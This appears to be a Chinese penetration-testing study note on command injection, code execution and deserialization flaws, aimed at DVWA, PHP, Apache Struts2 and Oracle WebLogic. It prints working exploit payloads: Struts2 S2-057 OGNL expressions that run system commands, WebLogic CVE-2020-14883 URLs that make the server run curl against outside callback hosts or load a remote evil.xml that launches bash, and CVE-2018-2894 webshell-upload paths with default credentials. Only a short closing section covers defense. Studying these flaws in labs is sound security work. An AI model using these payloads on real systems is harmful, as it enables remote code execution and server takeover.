关于命令执行与反序列化
命令与代码执行
实际就是对要求输入的值没有严格控制,导致恶意命令执行了。
简介:自己读吧,官方的东西。
1、远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的”收获”
2、远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。
1、命令执行原理
设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。
如开发者运用了system())函数等,没做好限制,造成命令执行
2、代码执行原理
没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。
如开发者运用了eval()函数等,没做好限制,造成代码执行
3、命令执行一般出现那些地方
- 只要带参数的地方都可能出现命令执行漏洞
- 常见的路由器、防火墙、入侵检测、自动化运维平台(可能可以执行命令的平台)
4、寻找命令执行漏洞
黑盒:渗透测试
测带参数的地方
例如:直接上命令,包头
GET /xxe2/xml.php?id=1 whoami HTTP/1.1
白盒:代码审计
(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
(4).htaccess: SetHandler, auto_prepend_file, auto_append_file
总结:白盒就是看代码有什么函数,如:exec、system、assert等,如果有这些地方,那么对这些地方进行命令测试。
知识补充:
-
shell_exec()函数,这是执行操作系统命令的命令执行
-
eval()函数,这是执行php源代码命令的代码执行
两个函数的作用域不同,能力也不一样,shell_exec()函数更狠,执行操作系统的
5、常用命令执行测试方法
直接在原本命令值后面加入符号:
- &
- &&
- |
- ||
(一个&都要执行,前面错了也执行,两个&前面错了后面就不执行了,基本就是通配符的使用)
6、实战测试及防范
以DVWA为例:
低级:源码审计
没有任何过滤,且调用的系统命令执行,那么无论如何构造都能执行攻击者的目的,
举例:一个&
中级:源码审计
绕过比如用其他没有黑名单限制的,一个&
高级:源码审计
注意圈出来的,黑名单中是一个|和空格,以及双||。
绕过比如直接一个|不加空格
比如两个|多加几个空格
完美级:源码审计
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
例子:struts2典型的命令执行
1、先找struts2框架的标志就是action、do结尾的网站
2、可用web工具扫描站点列出可能存在的struts2漏洞
3、利用现有的工具对站点直接发起攻击,如Railgun等
045、048、046这些都是高危漏洞
实例:
struts2命令执行漏洞攻防演示:
历史漏洞:https://www.seebug.org/search/?keywords=struts2
(1)s2早期综合利用工具
(2)s2-045漏洞还原
http://192.168.0.127:8080/struts2-showcase/showcase.action
(3)s2-048攻击过程还原
struts2 S2-048远程代码执行漏洞exp
C:\>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action "ipconfig"
(4)s2-052攻击过程还原(针对版本struts 2.5-2.5.12)
Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)
https://www.cnblogs.com/Hi-blog/p/7510987.html
(5) S2-057漏洞复现(需要参数alwaysSelectFullNamespace被设置为true)
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
http://192.168.0.127:8080/struts2-showcase//actionChain1.action
参考文章:
https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html
s2-048注意事项:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type="redirectAction"
攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
反序列化
1、什么是反序列化
就是把一个对象变成可以传输的字符串,目的就是为了方便传输
java比较强大,一般都在java中,php很少
一般都是白盒测试代码审计出来的,黑盒不现实
为什么反序列化:
(反序列化在大项目中就是为了节省资源)
PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。
首先序列化一下,有了序列化的值再进行反序列化
2、反序列化漏洞产生的原理
以php为例:
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
PHP反序列化:(低版本不支持反序列化)
即:把对象变成字符串方便传输
php两个函数:serialize() 和 unserialize() 序列化函数和反序列化函数
当传给 unserialize() 的参数可控时
这是一个接受序列化数据的api:O:1:"S":1:{s:4:"test";s:29:"pikachu";}
替换为攻击代码:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
(通过(最好)代码审计的方式:
即开发者用到了序列化对象,即serialize() 这个函数
我们找出可控的变量:pikachu
然后通过将这个对象进行序列化内容,得到一串值,O:1:"S":1:{s:4:"test";s:29:"pikachu";}
然后我们将这串值中的可控变量替换为我们的攻击代码,(即得到序列化值,将正常的值替换为攻击代码,让之后执行替换的攻击代码)
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
然后将这个内容交给客户端,客户端会进行反序列化,同时我们的攻击代码也将被执行。
)
php里面需要存在一些魔术函数,没有的话就不存在
3、PHP反序列化漏洞实战
->在php里是调用对象方法很或者属性的运算符。在一个类中,类的函数需要调用自身的方法或者属性需要用$this->来调用,而在类的实例中,也是通过->来调用的,只是前面的变量不是$this
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
注:如果php没有相关的魔法函数,那么也是没有反序列化漏洞的。
当存在php反序列化漏洞的时候提交这个:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
4、Java反序列化
(只要是java写的都可能有反序列化漏洞,漏洞特别多,甚至比sql注入还多)
服务器是jboss的上来就反序列化
服务器是weblogic,端口一般是7001
1、jboss反序列化漏洞还原
jboss默认端口:8080 帐号和密码admin
标志性:
通过工具,直接漏洞利用尝试:
补充:文件上传
2、Weblogic反序列化漏洞还原
默认端口7001,帐号和密码都是weblogic
Weblogic 常见漏洞有那些
弱口令、Java 反序列化漏洞操作(CVE-2018-2628)、
任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725 参考https://www.0dayhack.com/post-883.html)
(1)、弱口令 帐号和密码都是weblogic
(2)、反序列化漏洞
(3)、任意文件上传漏洞操作(CVE-2018-2894)
未授权访问路径:http://192.168.0.127:7001/ws_utc/config.do
Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木马上传上去之后,访问方式如下:
http://192.168.0.127:7001/ws_utc/css/config/keystore/1604376329959_whoami.jsp
1604376329959_whoami.jsp
http://192.168.18.198:7001/ws_utc/css/config/keystore/1609327480415_whoami.jsp
(4)、SSRF 漏洞(可参考:https://www.jianshu.com/p/97b157a20108)
实例举例
1、反序列化漏洞,工具直接漏洞利用:
2、weblogic的未授权访问:
http://192.168.18.107:7001/console/css/%252e%252e%252fconsole.portal
发现我们现在是低权限的用户,无法安装应用,所以组合下面的CVE-2020-14883 可以继续利用
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
方法一:
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)
成功执行:
方法二:
一种更为通杀的方法,对于所有Weblogic版本均有效。
但是必须可以出网,要可以访问到恶意的xml
首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上,就是要有外网ip
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)
成功回显
3、weblogic的任意文件上传漏洞操作:
(CVE-2018-2894)
未授权访问路径:http://192.168.18.107:7001/ws_utc/config.do
Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木马上传上去之后,访问方式如下:
http://192.168.0.127:7001/ws_utc/css/config/keystore/1604376329959_whoami.jsp
1604376329959_whoami.jsp
http://192.168.18.198:7001/ws_utc/css/config/keystore/1609327480415_whoami.jsp
提交的时候抓包:
访问:默认格式是固定的
http://192.168.18.107:7001/ws_utc/css/config/keystore/1610440972928_whoami.jsp
4、SSRF漏洞
常见反序列化漏洞
s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057
5、安全防范
1、安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数。例如:
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令